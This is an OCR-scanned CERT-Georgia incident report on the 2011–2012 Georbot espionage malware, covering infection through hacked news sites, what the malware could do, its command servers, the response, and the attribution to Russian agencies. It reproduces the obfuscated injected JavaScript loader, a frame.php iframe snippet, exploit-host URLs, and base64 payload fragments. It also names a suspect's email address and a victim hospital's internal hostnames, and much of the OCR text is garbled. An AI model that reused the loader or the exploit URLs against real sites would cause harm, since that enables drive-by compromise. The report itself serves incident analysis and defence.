CYBER ESPIONAGE

Against Georgian Government

(Georbot Botnet)

CERT.GOV.GE
LEPL Data Exchange Agency

Ministry of Justice of Georgia
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Summary

In march, 2011 CERT-Georgia which is Governmental “Computer Emergency Response
Team” of Republic of Georgia has Discovered Cyber Attack Incident, which seems to be Cyber
Espionage Example.

Advanced Malicious Software was Collecting Sensitive, Confidential Information about
Georgian and American Security Documents and then uploading it to some of Command and
Control Servers. (which changes often upon detection).

After investigating Attackers Servers and Malicious Files, we have linked this Cyber Attack to
Russian Official Security Agencies.
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After Analysing Webserver, Malicious Files and Various Scripts we found out that:

1. Some of the Georgian NEWS-related sites were Hacked.

(The Malicious script was injected only in the pages, where SPECIFIC
information was presented)

2. After visiting this pages Computer was infected by Unknown Malicious
Program.

(None of Antivirus Product could Identify the threat, by the time of discovery).
3. When executed, Malicious File Fully Controls Infected Computers.
4. Searches for the “Sensitive words” into the Document Files.

5. Makes Video and Audio Capture using built-in camera and microphone.
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Targeted Audience

Cyber Attack was designed very smartly. Various Georgian News-Related web-sites were
hacked and modified only Specific News pages (eg. NATO delegation Visit in Georgia, US-
Georgian Agreements and Meetings, Georgian Military NEWS).
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Only the persons who was interested in such information were infected with this Advanced
Threat, despite of Security Defensive measure’s and Software used on targets Computer and
Network Systems. Threat was highly encrypted and used contemporary stealthy techniques, so
that none of security tools could identify it.

www.caucasustimes.com — Site about NEWS from Caucasian Region
www.cei.ge — Caucasus Energy and Infrastructure
WWW.pshews.ge - Georgian NEWS Site

ema.gov.ge

www.opentext.ge

WWW.presa.ge

www.presage.tv

WWW.psnews.info

www.resonancedaily.com

4|Page



Malware Capabilities

Fully Controls infected computer.

Malicious file was searching for Sensitive WORDS inside MS Office and PDF documents.

e Send any file from the local hard drive to the remote server
e Steal certificates
e Search the hard drive for Microsoft Word documents (sensitive words)
e Search the hard drive for remote desktop configuration files, pbk files
* Take screenshots
e Record audio using the microphone
e Record video using the webcam
¢ Scan the local network to identify other hosts on the same network
e Execute arbitrary commands on the infected system
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Sensitive Words

DEL
DEL

In The Final Steps Cyber Attacker Steals Matched files, uploads them to the Server.
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Command & Controll Servers

September, 2010 — georgiaonline.xp3.biz (United States) FreeWebHostingArea.com
March, 2011 — ema.gov.ge (Georgia) (hacked webserver)

April , 2011 -178.32.91.70 (France) OVH Hosting

June, 2011 - 88.198.240.123 / 88.198.238.55 (Germany) DME Hosting

October, 2011 - 94.199.48.104 (Hungary) Net23.hu

November. 2011  -173.212.192.83 (United States)

December, 2011 - 31.31.75.63 (Czech Republic)

January, 2012 -31.214.140.214 (Germany) DME Hosting

March, 2012 —78.46.145.24 (Germany) DME Hosting

This server changes destination country and IP address upon detection.
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There were 390 Infected Computers:

70% of them from Georgia

5% from the United States

4% - Canada, Ukraine, France, China
3% - Germany

3% - Russia

Example of infected Computer from United States

] 31.214.140.214/xyindex312.php v &~ Google Q

YLj 31.214.140.214/upload/d640fcd4/1326308671 rpcsrv.log

10.20.0.1
Childrens Healthcare of Atlanta Pediatric Hospital - Children's ... © 10.20.0.2 echgerl-vlan2.choa.org
www.choa.org/ - Cached 10.20.0.3 echlaril-vlan2.choa.org
19 Dec 2011 — Children's Healthcare of Atlanta is one of the leading pediatric hospitals in 10.20.0.10 npi96aace.choa.org
the country, recognized for excellence in cancer, cardiac, neonatal, ... 10.20.0.14 npi29735f.choa.org
10.20.0.15 ssoxp-e34bb7847.choa.org
Jobs O Find a Doctor O 10.20.0.16 choaxp-1bfcdd53.choa.org
We need people who demonstrate Some of the healthcare professionals 10.20.0.17 choaxp-581kfzrb.choa.org
integrity, honesty and teamwork ... on staff at ... 10.20.0.18 sso-mxm830044d.choa.org
10.20.0.19 scae2bcc.choa.org
10.20.0.20 choaxp-54a0bdc2.choa.org
L:LO 20.0.22 echpicupod3 -
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Malicious file was evolving and Developed time to time:

30 March, 2011 — Virus Steals Sensitive Documents, Certificates

14 September 2011 — Changed Infection Mechanism, new Bypassing methods for
the (Antivirus/Firewall/IDS)

25 November 2011 — Virus is more encrypted and obfuscated. infects windows 7
Operating System

12 December 2011 — added Video Recording capability, scanning and infecting
computers through the Network, changed Spreading vector

It had been evolved from 2.1 version to 5.5.
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INFECTING MECHANISM

1) Injected script or iframe into Legitimate Web-site

2) Frame.php from iframe — contained (exploit pack)

3) Drive-By Download & Execution of calc.exe

4) Calc.exe self-destruction injecting code into Explorer.exe
5) Creating persistant usbserv.exe virus

o — —— ——— —— ——

) \& [@ http://ema.gov.ge ~20X ” @ Enterprise Management Ag... % l l

§ bLOS “LOBIMAMMO o6 030L boddIEOM*

%
T
o e

1OIIGMBITML I3MEMB0306S © V3PN BA6: 330 bABVEOLOGM

080003500 bLOMIIOVOO 80600 ©M33336030 LOBIMAMISN 360300

o
2] http://ema.gov.ge/ - Original Source

File Edit Format

1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtmll-strict.dtd">
2 <html xmlns="http://www.w3.0rg/1999/xhtml">

3 <head>

4 <title>Enterprise Management Agency</title>

5 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

6 <link type="text/css" media="all" rel="stylesheet" href="css/style-geo.css" />

7 <script type="text/javascript” language="javascript” src="modules/lytebox/lytebox.js"></script>
8 <link rel="stylesheet" href="modules/lytebox/lytebox.css" type="text/css" media="screen" />

9 <script type="text/javascript" src="menu/menu.js"></script>

10 <!-- jQuery -->

11 <link rel="stylesheet" type="text/css" href="css/superfish.css" media="screen">

12 <link rel="stylesheet" type="text/css" href="css/superfish-v.css" media="screen">

13 <script type="text/javascript” src="js/jquery-1.2.6.min.js"></script>

14 <script type="text/javascript” src "js/hoverIntent.js")(/script)

15 Pt typ: ™Y ></script>

16 | <script src=| http //173.212 /frame. php></scr1pt

37 < L Zx = ></scr1pt>

18 <scr1pt language- Javascrxpt src= tween/ColorTween 353 ></scr1pt>

a0 gio “ " u L : T

* 30920 b0XDID

10/11/2011

0. ensdsBgLo
B69mdL, LHSG

Step 1- injected script
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var mytest = 123277678;

try {

new ActiveXObject('dc');
} catch (e) {

if (navigator.appName == 'Opera') mytest =
else if (navigator.appName == 'Microsoft Internet Explorer') mytest =
else if (navigator.agppName == 'Netscape') mytest = 30;
else if (navigator.appName == 'GChrome') mytest = 33;
else mytest = 25;
}
var Ig =

'&808&1258&1228&134&117&129&1218&52&135&134&119&81&124&136&136&1328&78&678&67&1288&121&123&117&128&119&1348&122866&125&1308&67
&1368&67&69&778&1218&118&122&120&688&75&1178&69&71&120&718&1218&120&122&768&70&122&119&1198&69&70&69&1178&68&1218&72&748&72&71&11
9&52&1248&1218&125&1238&124&136&81&68&528&1398&125&120&136&1248&81&688&52&1228&1348&117&129&121&118&131&1348&1208&121&134&818&68&

828&80&67&125&122&134&117&129&121882";

var Iql = 5

var Qe6h5t4LASj = mytest;
var Igaaaaaaa =
var newlq = Igaaaaaaa;

var browser = +'\vl' ? 1 - '\@' ? 'Kongueror' : +'1\0' ? 'Safari’ (typeof / - [ )[@) == "£" 2 °*
valueOf: function (x) {
return !x
¥
} ? 'Opera’ 'Firefox' '"MSIE';
if (browser == 'MSIE') newIq = Ig.split('&");
for (var i = 1; i < pewIg.length; i++) {
Iql = Iql + String.fromCharCode(newIg[i] - Qe6h5t4LAS]);
¥
Igasal = Iql;
document.write(Igasal);
shellcode inside frame.php / exploit pack files
= i = II:]EI.L;
w - @ X
calc.exe Java-2010-0842.ja midi20100842.exe newexp.jar pdf2.pdf
r
3 newexp.jar - WinRAR (only 19 days left to buy a license)
File C ds Tools F Op Help
AP UbhbmPO R 49
Extract To View Delete Find Wizard Info VirusScan Comment  SFX
m | Lﬁ] newexp.jar\vuln - ZIP archive, unpacked size 6,428 bytes
Name = Size Packed Type Modified CRC32
.. File folder
| ExploitSl.class 575 350 CLASSFile 11/12/20106:1..  FFDET1B6
__ Exploit.class 4,309 2,433 CLASSFile 11/12/20106:1...  724D207F
_ Link.class 672 391 CLASSFile 9/4/2010 3:40 ...  B98FD3C8
| Temp.class 847 484 CLASSFile 11/4/201012:2...  923B4B69
= L.+ Total 6,403 bytes in 4 files




1)

2)

3)

We found out that there is crafted and obfuscated frame.php file, which carries some exploit code
and redirects users to other exploit pages:

It uses CVE-2010-0842, CVE-2006-3730, MS06-057 and other unknown vulnerabilities.

Exploit code used in frame.php is crypted version of TrojanDownloader:JS/SetSlice, which exploits
MS06-057 Vulnerability by using 'WebViewFolderlcon' ActiveX control (Web View).

Also there was some Oday exploit used for exploitation through PDF, JAR files.

Malicious Files Not detected with Major Antivirus Products
(1/47 Virustoal, Dr.Web result — suspicious)

Bypasses Windows 7 spl patched with Firewall enabled.

As of 25.03.2011, 20.06.2011, 16.01.2012, 25.03.2012

After Executing Malware does 3 major things:
- Before installing bot checks if the computer is located in UTC+3, UTC+4

Time-zone:

- injects itself into iexplorer.exe and
communicating to defaced sites, for
C&C address retrival

- creating usbserv.exe bot file in
Application Data  directory, and
writing it to autorun in Windows

Registry.

12|Page



Bot Control Mechanism

aCrypt32_dll db 'crypt32.d1l1°',0
aSoftware db 'SOFIWARE\',0
aMicrosoft db "'Microsofc\',0

; DATA XREF: sub_403FS3 + S
; -text:0040404A ...

aWindowsCurrent db 'Windows\CurrentVersiocn\',O0

<.wma>,0
—

.0

aRun db 'Run’',0
aUsbserv db 'USBSERV',0
aScoftwareMicres db
a_decc db '.doc',0
a_wma:

unicecde O,
a_ dby-2"_ 0
avWmv

uniccde 0O,
a_xdp db ' _xdp”.,0

align 4

dd 2 dup(0)
aMozilla4_ OComp db 'Mozilla
a78_46_145_24

unicecde O,
align 10h
a31_214_140_214:
unicecde 0O,
E db 'e’',0
fa_gov_ge:

w

unicede 0
aHttpRbc_ru:

unicecde 0O,
aHttp:

unicecde 0O,
aInternetExplor:

unicecde O,
aMcodulesDocsMan:

unicode 0

unicede O,
aGet db "GET',O

; DATA XREF: .text:00415763
; -text:00415550

'Scoftware\Microscft\Internet Explorer\IntelliForms\Storage2',bO0

; DATA XREF: .text:00404669
; -text:loc_40481B

; DATA XREF: .text:00417D6D

; DATA XREF: .text:00405F82
; -text:00406130

/4.0 (compatible; MSIE €.0b; Windows NT 5.0; .NET CLR 1.0.°

; DATA XRE -text:004156BS

<78.4¢. 1>, 0

<31.214.1 >, ©

DATA XREF: .text:loc_4158SE

.0

» DATA XREF: .text:loc_415ASC

; DATA XREF: .text:004156&295
; -text:004157CE

<\Internet Explcorer\iexplore.exe>,0

.0
<lll>,0

1) C&C servers Addresses are written into Malware’s Binary file

2) If all of them are unreachable malware reads special html page header,

which actually is html

Governmental Web-Site:

page defaced on, one of the Georgian

s |

.
.

-d

ema.gov.ge/modules/docs/manual.php

r _
€2 |88

I131.31.75.63]|

& Content

 User Manual
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NEW METHOD OF MALWARE UPDATING

New version of Malware file is downloaded as base64 encoded plain text from

different servers simultaneously and then assembled into one file.

192.168.2.26 94.199.48.104 TCP 62 fpitp > http [SYN] Seq=0 windinformation=0 M55=1460 SACK_PERM=1
94.199.48.104 192.168.2.26 TCP 62 http > fpitp [SYN, ACK] Seq=0 ACK=I Win=5840 Len=0 MSS=1460 SACK_PERM
192.168.2.26 94.199.48.104 TCP 54 fpitp > http [ACK] Seq=1 Ack=1 Win=64240 Len=0

192.168.2.26 94.199.48.104 HTTP 347 GET /calc.php HTTP/1.1

94.199.48.104 - - . - T S = = =)
94.199.48.104 (B Follow TCP Streany - SRS e & o ~——— - =
94.199.48.104 :

192.168.2.26 S"eam/cm]’te"th —

.199.48. GET /calc.php HTTP/1. - . . = : : : -
ST P Ao Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* =
94.199.48.104 irce St E

pt-Language: en-us
94.199.48.104 ||| Accept-Encoding: ?zip, deflate
192.168.2.26 uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; Sv1)
94.199.48.104 Host: 94.199.48.104
94.199.48.104 connection: Keep-Alive
102 1A6R 2 26

rc: HonHaiPr_38:19:4
col version 4, src:
ontrol Protocol, Sr
fpitp (1045)

port: http (80)

%z 26]

ber: 1 (relative
ce number: 294 ¢l

ent number: 1 (rd
h: 20 hwtrac .

T e v
B
2]
' wv
-
wi
I
v
o
N
-
NN OV W N W

HTTP/1.1 200 OK

pate: Fri, 25 Nov 2011 14:21:53 GMT
Server: Apache/2.2.3 (Centos)
X-Powered-By: PHP/5.1.6

connection: close

Transfer-encoding: chunked
content-Type: text/html; charset=koi8-r

cdac

<html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"></
head><body>TVQAAAEAAAAEABAA/ /BAAEABAAAAAAAAQ)
ATANNIbgBTMOhVGhpcyBwcmOncmFt IGNhbm5vdCBiZSBydwd gawd gREITIGLVZGUUDQOKAAAAAAAAAABQRQAATAEDAK,
hxU4 AAAAAAAAAAOAADWE L AQF FAGYAAAAYAAAAAAAAUE OAAAAQAAAAGAAAAABAAAAQAAAAAGAAAQAAAAAAAAAE. QAQAAA
gAATegAAATAAAEAEAAAABAAAAAAAQAAAAAAAAAAABAAAAAAAAAAAAAAAACAAAAWEQAAAAABAEAUAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA

?AAAAA4fug

AAAAAAAAAAAAC 50ZXhOAAAATWQAAAAQAAAAZ GAAAATAAAAAAAAAAAAAAAAAACAAAGAUZ GFOYQAAABZ SAAAAGAAAABWAAABOAAAAAAA
AAAAAAAAAAABAAADAL NI ZCMMAAABAF AAAAAABAAAWAAAAhAAAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAABV T eWD7 BYAP
bCjQAAAdBBOIVAAAGOFEEAA/YXSQEAA/3UT/
XUBQUAATUX0g8A8iwADRTSIRTCLRTCLQHGDRTSLWCADXFSIXeSLQB1IReyLRFCLQHGDRTSLWBWDXTSIXeiLRFCLQHGDRTSLWCQDXFS
1xf1D4Q/B4Q+ SAAAAAGT NEEAAW+N/NVYEQACDXARRG
+kAWXXexgVPjEAAAIPiAIKVrKNAAGVBBANF SISAAJADRT SLADWAAC IrHay jQAAP1R2500AAg+MATMMBHaY JQACDIay jQAD/

QuVL 10UMOQWS00AAdAY7 TexBdaqLdf gBzgHO1zaD4w/B4w+7 AAAAAOS ] /
7VShFAAQROFIIAPrAFT1427W7af e715r 2wOnXeil GwNAIT1d/TAGSKNAAARNC 201 90AA/

C  © 94.199.48.104/calc.php

TVqQAAAEAAAAEABAA//SAAEABAAAAAAAAQ.

& 9

|2

I B W LY e Mt ps://31.31.75.63/ calc.php

TVqQAAAEAAAAEABAA//SAAEABAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
lyXwkEAA
/3UIxVEKUAAIUX0g8A8iwADR{SIRFCLRfCLQHgDRfSLWCADXfSJXeSLQBiJReyLRfCLQHgDRSS.
/FUCRQACLRfzJwggAV YnlaNIdbSVokJZAAOjQ/v//agBogAAAAPI1EGoAagNoAAAAQGI9SEAA/9]
/1gPhDUCAACPrhAAGisQtlka] CWQABogBFAAGgAEEA Aw+lgAmoAagD/NT64QABokxFAAP
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Unique Characteristics

1) Searching Sensitive word’s In filenames and INTO pdf, word, xls, txt, rtf, ppt
Documents.

2) Recording Videos from Webcam : During skype conversation, live streaming
capability

3) Modify malware code file from C&C Web Panel
4) Self-Created Packer, Crypter in Assembler Language (evading A/V)

5) Update mechanism, Base-encoded plaintext, simultaneously from different
C&C servers. (evading IPS/IDS)

6) opening network socket at ring0 level (evading firewall) / TDSS Rootkit

Modification
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Infected Organisations

Most Georgian Infected computers were from our Governmental Agencies and
Critical Information Infrastructures

Targets:

1) Ministries

2) Parliament

3) Critical Information Ifrastructures
4) Banks

5) NGO'’s
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Responding Steps

1) Blocked each of 6 C&C IP addresses, upon detection, through Country’s 3 main
Internet Service Providers. (Immediate Response)

2) CERT-GOV-GE identified all Georgian infected IP’s and gave mitigation
strategies and cleaning tools to Infected Agencies and Institutions.

3) Cooperated with Antivirus, IDS/IPS solutions, to create mitigating tools and
signatures. (Microsoft, Eset, Snort, Cisco, various Blacklists, Blocklists)

4) Cooperated with FBI, Department of Homeland Security, US Secret Service, US-
CERT, Governmental-CERT-Germany, CERT-Ukraine, CERT-Polska, Microsoft
Cybersecurity Division

5) Hosting Providers Abuse Teams, to shut down attacking servers.

6) Law Enforcement Agencies to obtain log files and system images for Forensic
Analysis.
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Counter Cyber-Intelligence
(unmasking the attackers)

CERT-GOV-GE gained full access to Command and Control servers, Decrypted communication
mechanisms and malicious files. After Analyzing all the gathered information we have
identified Cyber attacker persons and organizations.

fDuring 2008 Cyber War between Russia and Georgia, two Independent US-based Organizations linked Cyber Attac%*s\
with Russian Official Ministries and Organizations.

“United States Cyber Consequences Unit” and “Project Grey Goose”
Jefrey Carr, GreyLogic (cyber Intelligence services for Government Sector)
Sanjay Goel, New York State Center for Information Forensics and Assurance

Mike Himley, CEO/President of Eagle Intelligence

They investigated entire Cyber Attack against Georgia and linked 2008 Cyber Attacks with so-called Cyber-Criminals Group
“Russian Business Network”,

They had reported, that Some of used Internet Resources and Credentials belonged with “Russian Ministry of Defense Research
\q{tute" called — Center for Research of Military Strength of Foreign Countries.” /

In 2011-2012, During This New Cyber Espionage Attack, we have identified
Russian Security agencies, once again.
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We have found: 3 main facts, which indicate to Russian Official State organizations.

Warynews.ru — site used to control infected Georgian computers — IP and DNS servers
belonges to Russian Business Network. (mentioned in various Blacklist, Bad Reputation)

www.rbc.ru — written directly into MALWARE code, to communicate with Attackers if every
communication channel is closed.  Official name “Russian Business Consalting” — official
website, linked with RBN.

ﬂqﬁt Memory Forensics: An... % || Q) OWASP ModSecurity C... HiivﬁsusnecmmiiPocEmHecKon(anmnr... %,IP Checking Results for... %

€& 9 O o= @ Web |194186.36167 B3| MW~/ search with Google
AT\ <
PPI’ P 5 K | : Z: 00 m ok
HAWATH . ., = ctu Microsoft
‘ll . \ : } ot Office 3652
T6unucum v
PBK-TB Quote CNews Auto HeaBmXHUMOCTD PedTuHIrn WccnepoBanus Pabora Cmwnb Tata B iGlobe Cnopt
Hosocr a2 PEK L e — Laagsoe Punancel Hoaurika

i Capturing from Microsoft [Wireshark 1.6.Qm /tmnk-m R— - — — —

File Edit View Go Capture Analyze Statistics Telephonz Tools Internals Help

Seood BEEXZE AedyDT L [3 QAR #®Wx B

Filter: tcp.stream eq 7 B Expression... Clear Apply
No. Time Source Destination Protocol  Length Info
75 49.929331 192.168.2.22 194.186.36.167 TCP 62 ddt > http [SYN] Seq=0 Win=64240 Len=0 MS5=1460 SACK_PERM=1

76 50.044275 194.186.36.167 192.168.2.22 TCP 62 http > ddt [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MS55=1460 SACK_PERM=1

77 50.044653 192.168.2.22 )4 6.36.167 ICP 54 ddt > _http [ACK eg=1 Ack=1 win=64240 Len=0
78 50.045179 192.168.2.22 194.186.36.167 HTTP 344 GET /calc.php HTTP/1.1
80 50.246777 194.186.36.167 P PSegie O gassembled PDU]

81 50.246878 194.186.36.167 192.168.2.22 TCP 140 [TcP segment of a reassembled PDU]

http://legalcrf.in/f/4b178e605583cca28c850943e805aabc/1
http://legalcrf.in/t/19ebfd07a13d3edf82fcc121a0e4643c
http://legalcrf.in/images/np/4b178e605583cca28c850943e805aabc.pdf
http://legalcrf.in/t/19ebfd07a13d3edf82fcc121a0e4643c
http://legalcrf.in/t/19ebfd07a13d3edf82fcc121a0e4643c
http://legalcrf.in/images/t/4b178e605583cca28c850943e805aabc.html
http://legalcrf.in/images/np/4b178e605583cca28c850943e805aabc.pdf
http://legalcrf.in/images/4b178e605583cca28c850943e805aabc.jar
http://legalcrf.in/f/4b178e605583cca28c850943e805aabc/3
http://legalcrf.in/f/4b178e605583cca28c850943e805aabc/1
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Legalcrf.in —Sending Malicious files through SPAM email FROM “admin@President.gov.ge”.

Hosting Exploit Files

Obscure Registrator, Only Discoverable by Indian WHOIS Service,

\"admin@presidentgov Wh ois

i Search Results - legalcrf.in

Name: Artur Jafuniaev
NEhois - Company: WSDomains tid

Address:

Lubianka 13

faee0—"__-——1

City: Moscow

State: Moscow
Country: RU

Zip: 346713

Tel No: 7 45536718291
Fax No: 7 49536718291

Email: appcureit@gmail .con

5 frame php | b
62 S$hash=25;
63 "}
64 $secret='<iframe src=http legalcrf.in/t/19ebfd07al13d3edf82fccl2lale4643c
65 $sec='"';
66 for($i=0;$i<strlen($secret) ;$i++)
67 B¢
68 $sec=$sec.'s'. (oxd(S$Ssecret([$i)) + Shash);
69 (53
70
71 $my="var mytest = 123277678
L'T; try { new ActiveXObject('dc'): } )

SSSSSSSSSSSsas.r
legalcrf.in/

This site may harm your computer

3 Feb 2012 — Welcome to the home of ssssssssssssas.r. To change this page, upload
your website into the public_html directory. Date Created: Fri Feb 3 ...




Lubianka 13, Moscow. - Russian Ministry of Internal Affairs, Department of Logistics

- Organization development and communications systems, improve information and
communication technologies and technical protection of information;

Next to it: Federal Security Service of the Russian Federation (FSB) — Moscow
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In March 2012, Company ESET Security Published Report named
“Georbot: From Russia With Love” (with support of our CERT Team)

After That Russian NEWS Agencies Spread Disinformation Based on ESET’s Report Blaming
Georgian Governmental website (which actionly was hacked) for serving malicious files. But
there where nothing said about REAL 6 Command & Controll Servers which were hosted in
various countries and mentioned in ESET’s Report.
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We have Infected our PC from Lab, then gave Cyber Attacker Fake ZIP Archive with his own
virus inside and the name “Georgian-Nato Agreement”.

Attacker Stole that archive and executed malicious files.
As we had access to BOT Panel, we had maintained control over his PC.

Then captured got video of him, personally. We have captured process of creating new malicious
modules.

We have Obtained Russian Document, from email, where he was giving someone instructions
how to use this malicious software and how to infect targets.

We have linked him with some of German and Russian hackers.

Then we have Obtained information about his destination City, Internet Service Provider, Email
and etc.
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@3/ Total Commander 7.0 public beta 3 - Podarok Edition
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Ldec LJd (dg 3‘5_‘:‘ A\ |\ .. [acer] 2177 974 272 Ganr us 26 221 744 128 6anr cBa Jc (Jd (49 5‘?-3\ \ .. [ner_] 46 672 248 832 6anr us 77 515 005 952 Ganr ¢

sites | site ] 1 ] fileformat | 07.11.2011 | My l Moi komnbioTep My ] sqlmap-0.7_exe| res | Equates I 12.rar I
system32 | Include Application Data d:\Mp\* : | #|w
c:\Documents and Settings\1\Application Data\*.* #*|v| Uma Tun Pasmep |l flara

Tun Pasmep || Jlara Arp b B <DIR>  15.11.11

M Hex-Rays <DIR> 30.01.1017:01 PRI R .svn <DIR> 15.11.11

<DIR> 01.10 23:18 2?3 0ld versions <DIR> 26.04.11 22
<DIR> 10.01.10 16:09 .?‘dH; J <DIR> 08.04.11 12:49
<DIR> 10.01.10 13:35 .?‘f‘ﬁ“(’l <DIR> 09.02.11 19:58
<DIR>  19.12.09 23:17 %{|bot1_win7_firewalls 35328 15.11.11 20:12
B Wireshark <DIR> 19.12.09 5 i bot1_win7_firewalls 122596 15.11.11 20:12
B Google <DIR> 18.12.09 23 2} bot1_win7_firewalls 217197 15.11.11 20:07
® Opera <DIR> 8.12.0¢ ¢ botl_win7_opera 113149 1511.11
<DIR> 21.08.09 »"’:ﬂhull win7_opera 3 13.11.11 13:15
<DIR> 10.08.09 ?;_:jhull win/_kazy X : 07.11.11 08:32
<DIR> 10.08.09 7 bot1_win7_kazy 112524 07.11.11 32
<DIR> 10.08.0¢ ?) bot1_win7_opera 199 093 07.11.11 08:29
<DIR> 10.08.09 n 1 5958 01.11.11 16
<DIR> 10.08.09 11:30 2} index1 5769 28.10.11 09:48
B pesiv 5274 15.11.11 20:12 ?);Jhnll win7_nofile . 6 27.10.11 12:36
9\' usbsery 37376 15.11.11 20:12 7‘" bot1_win7_nofile 116 508 27.10.11 12:36
E‘sc[ 177 946 15.11.11 18:51 n Thumbs 6144 25.10.11 21:19
37 376 15.11.11 08:12 'ﬂ unwand cpp 4 053 23.10.11 15:07
184 03.08.1011:49 @ bot1_win7_screensho . 107 315 22.10.11 20:58
52 10.08.09 15:21 ‘};]Imll win7_screenshot 32768 22.10.11 20:49
M C 2. 4¢
0 Ganr us 258 218 Ganr, pannos: 0 us 6, karanoros: 0 us 39 | 0 6anr us 7 537 454 6anr, ®annos: 0 us 87, karanoros: 0 us 4 |
c:\Documents and Settings\1\Application D.t> |, -
F3 Npocmorp l F4 MNpaska [ F5 Konus I F6 MNepemew I F7 Karanor l F8 Yaanurb | Alt+F4 Boixoa |

#nyce| B 3 &= 7 (1Y Total Co... & flat asse...l ¥ Process ... [ M EditPlus | ) lWebBro...l O http:/49... | C:\WIND...| &l | «= 8wl g 20:12

=5 D ® Web | 94.199.48.104/u

Index of /upload/0d02bS0c "

@ mtrend.ru/o-k

Name Last modified  Size Description
a Parent Directory -
@ 12 rar 17-Nov-2011 07:47 711K
@ 1320126882rpesrv.log 01-Nov-2011 05:54 777
@ 1320163296rpesrv.log 01-Nov-2011 16:01 777
@ 1320300787rpesrv.log 03-Nov-2011 06:13 790 4 Y
@ 1321359151rpesrv.log 15-Nov-2011 12:12 790 IPv4 address 91.205.160.3 ] 1321514801rpcsrv.log - Notepad
. T ~ 9 5.160.3
[&) 1321359490scr jpeg 15-Nov-2011 12:18 174K S = :PQE(:(:‘SO File Edit Format=View = Help
4 X 192.168.0.1 dir-320
Country: Russian Federation 192.168.0.101 Lula.mtrend.ru
i : 192.168.0.102 MIRAGE
City: Nevinnomyssk 192.168.0.103
RBL Status Listed in XBL 192.168.0.104 IBM-LMMV4RP
Listed in CBL
Listed in SORBS
\, v

\0d02b50c\1.docx

| 1321505276rpcsrv.log - Notepad Users
[ File Edit Format View Help Usemame Cranucnas
Opera Dates
personal profile Creation date 6/4/2011 8:50:00 PM
http://vkontakte. rugoshttp://login. vk. cogm201108-26T06:43: 5507 Modified date 6/4/2011 9:06:00 PM
opera:mail: eshkinkotl@gmail.com STAS221  2011-08-26T06:43:55 Other Metadata
! Application Microsoft Office
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OllyDbg - bot1_win7

PUSH OFFSET botl_win7_
PUSH DWORD PTR [4800
PUSH DWORD PTR DS 9
Egst EgDRD PTR DS:[48C3AC]
L X \Docume S anc gs\ App L LG
PUSH E26239E0 3 : 5 U Documents and 3 Applig
PUSH OFFSET botl_win?_f irewalls.8840762 5 ke
CALL 92401000
ACCS400( PUSH DWORD PTR DS: (40
ALL EAX
B04000 | PL OFFSET botl_win7_firewall 4 Ly OLe i ox ? > tl_win7?_firewall
irewalls.00 al = UNILSUE ents [ > a( FEFFFFFF)

A FFFFFFFF)
BUFFFFFEFF)

29
PUSH OFFS ET bo
JF&FFFF LRLL
3

H 2
400 PUHE DMgRD PTR DS:[48CB1E]
EU FU“H ED9399CF ED9399CF

2 ISH OFFSET bot1_win7_f irewal ls. 0040762 ASCII "kernel32.dLLl” 2 . PE, GE, LE)
FHFIFFFF CQLL 08401000 - .
S FRDD4

PUSH DWORD PTR [48DDFA]
CALL EAX

CLD
IMUL_ECX,ECX, 8
tack CB@BSFFE
Imm=29180920
Jumps from 4081000,401049,401087

. .s.l’l.
t.t.l.n.

botl_win7_f irewalls.<{ModuleEntryPoint>

~ Running

@nyck| 1 X 2 > MY Total ... | @ flatas... | & proces...| Meditel... | @ iwebs...| O http:/... | B8 covw... | tyDb... [l «2'8 @ 20:36

Disassembly Process in OllyDbg.
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Creates Mutex (2)

Name: eshkinkot e
C:\71856944.exe Name: RasPbFile

Opens Mutex (1)
Name: RasPbFile

09/2010

(j] 1321505276rpcsrv.log - Notepad )
File Edit Format View Help

opera

personal profile
http://vkontakte. rugohttp://Togin. vk. cogm2011-08-26T06:43 : 5597

Ic>pera:ma1"| : eshkinkotl@gmail.com STAS221  2011-08-26T06:43:55

\ 11/2011

-
Password help for eshkinkot1@gmail.com

Choose how to get back into your account.
@® Geta password reset link at my recovery email: seesese]@yeeees oo

Enter full email address Hint: geessss i @yroeee oe

\_ stas2?21@yandex.ra 7

Nickname: ESHKINKOT - Inside Malware Executable

Same MAIL Address, City in Russia
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2 | © mtrend.ru/o-kompanii

j] 1321514801rpcsrv.log - Notepad

| File Edit Format View Help

192.168.0.1 dir-320
192.168.0.101 Lula.mtrend.ru
192.168.0.102 MIRAGE
192.168.0.103

192.168.0.104 IBM-LMMV4RP

& -
E@‘m mtrend.ru/forum/viewtopic.php?f=128&t=248&p=251#p251 v__c" ‘r’\lh'
Crac coob

3ar

Re: Mo, YeHUEe YaCTHOro cexTopa

He B ceTw Aobporo BpemeHu CyToK. Bonpoc, 8 4om no yA. Jlazo 1a, Koraa Hu 6yab npoeeseTe Kabenb??? Ciky ¢ WiFi 3a GeweHHble AeHbri C NAOXOoM

BaperncTtpupoBan: 26 aHe
\ 2012, 20:53

(O

eshkinkot1 Vpes cnegyowas. 1 MOry U3MeHWUTb YAaNneHHO HacTpoliku 6payzepa nonbzosaTens. Hanpumep, nponucatb B 6paysepe NpoKcu-cepeep
: yepez KOTOpbiii OH GyAeT BbiXOAWUTb B HET. ECTb /M Kakue-HUbYab yXKe roTosbie cnyx6bl MPOKCH-CEepBEPOB C NIOrMpoBaHueM Tpaduka,

gﬁgﬁ:‘f:‘g“’ 9 uTo6bl 5 MO MepexBaTbiBaTb 3anMpoChl NOMb30BATENA Yepes NPOKCH. JINBO Hy>XeH CKPUNT MPOKCH cepeepa. TONbKO He aHOHWMHOIO,

MpucoeanHmnca: KOTOPbIX MOMIHBIM MOAHO, TUNa Zelune u T.4. Kakue ectb naen?

06.01.2010

@ (22 forum.xakep.ru/m_1707122/tm.htm v c" f .”v

Tweet

J RE: MNpokcu ¢ noruposaHueM - 09.02.2010 16:53:12

